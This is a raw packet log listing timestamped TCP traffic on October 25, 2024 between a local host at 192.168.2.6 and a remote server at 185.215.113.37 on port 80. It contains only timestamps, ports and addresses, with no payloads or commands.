Oct 25, 2024 13:50:10.910327911 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910370111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910382032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910433054 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910435915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910485029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910490036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910525084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910536051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910554886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910564899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910595894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910605907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910640955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910654068 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910674095 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910686016 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910710096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910720110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910738945 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910759926 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910773039 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910778999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910808086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910820961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910837889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910865068 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910871029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910885096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910907030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910912991 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910938978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910953999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910985947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.957129955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.957242012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.957247972 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.957273960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.957288980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.957319021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.957328081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.957362890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.957398891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.957616091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.988046885 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.988064051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.988086939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.988325119 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.988338947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.988357067 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.988356113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.988364935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.988374949 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.988632917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.988632917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.990968943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.991007090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.991050959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.991072893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027400970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027471066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027479887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027487993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027519941 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027539968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027621984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027638912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027656078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027677059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027692080 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027765989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027781963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027797937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027811050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027815104 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027832985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027841091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027863026 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027884007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027889013 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027899981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027916908 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.027926922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027944088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027966976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.027981997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.028014898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.028026104 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.028031111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.028059006 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.028074026 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.074877024 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.074919939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.074976921 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.075011015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.075047016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.075118065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.075118065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.075160980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.105540037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.105614901 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.105622053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.105669022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.105669022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.105704069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.105715036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.105735064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.105757952 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.105768919 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.105778933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.105815887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.105824947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.105878115 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.108251095 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.108282089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.108313084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.108316898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.108325005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.108351946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.108364105 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.108398914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.144876003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.144912958 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.144948006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.144953966 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.144987106 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145000935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145140886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145170927 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145200014 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145217896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145222902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145257950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145287991 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145338058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145356894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145373106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145406008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145406961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145433903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145440102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145472050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145490885 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145498037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145525932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145539045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145560980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145570993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145595074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145612955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145644903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145646095 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145680904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145697117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145714998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145739079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145749092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145778894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145787001 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145802021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145822048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.145834923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.145873070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.192771912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.192809105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.192842007 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.192843914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.192864895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.192878962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.192899942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.192914009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.192925930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.192971945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.223953009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.224004030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.224019051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.224040985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.224061012 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.224075079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.224102974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.224109888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.224124908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.224173069 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.226788044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.226855993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.226855993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.226892948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.226907015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.226947069 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264061928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264115095 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264144897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264151096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264178038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264205933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264208078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264259100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264260054 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264293909 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264319897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264328003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264342070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264363050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264380932 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264434099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264436960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264472008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264497042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264506102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264518976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264542103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264553070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264576912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264595985 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264611006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264626980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264647007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264661074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264682055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264698029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264718056 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264733076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264754057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.264764071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.264802933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.320899010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.321032047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.321064949 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.321111917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.321116924 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.321152925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.321158886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.321187019 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.321258068 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.321269989 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.321269989 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.321320057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.341362953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.341417074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.341449022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.341451883 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.341468096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.341502905 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.341504097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.341538906 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.341553926 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.341578007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.341588974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.341620922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.344135046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.344167948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.344197035 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.344201088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.344221115 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.344247103 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.381926060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.381998062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382029057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382047892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382050037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382093906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382097960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382133961 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382148027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382169008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382184982 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382219076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382221937 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382250071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382271051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382294893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382299900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382334948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382350922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382369041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382385015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382409096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382428885 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382457972 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382457972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382508993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382510900 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382544041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382561922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382577896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382590055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382611036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382623911 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382646084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382659912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382678986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382699013 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382713079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382725954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382745981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382759094 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382781029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.382793903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.382842064 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.422372103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.422425032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.422461033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.422488928 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.438340902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.438394070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.438426971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.438442945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.438477039 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.438488960 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.438510895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.438527107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.438544989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.438561916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.438590050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.459254980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.459289074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.459341049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.459372997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.459407091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.459460020 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.459460020 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.459460020 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.459460020 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.459500074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.461684942 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.461719036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.461754084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.461774111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.461786985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.461801052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.461847067 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501383066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501435995 CEST	80	49712	185.215.113.37	192.168.2.6
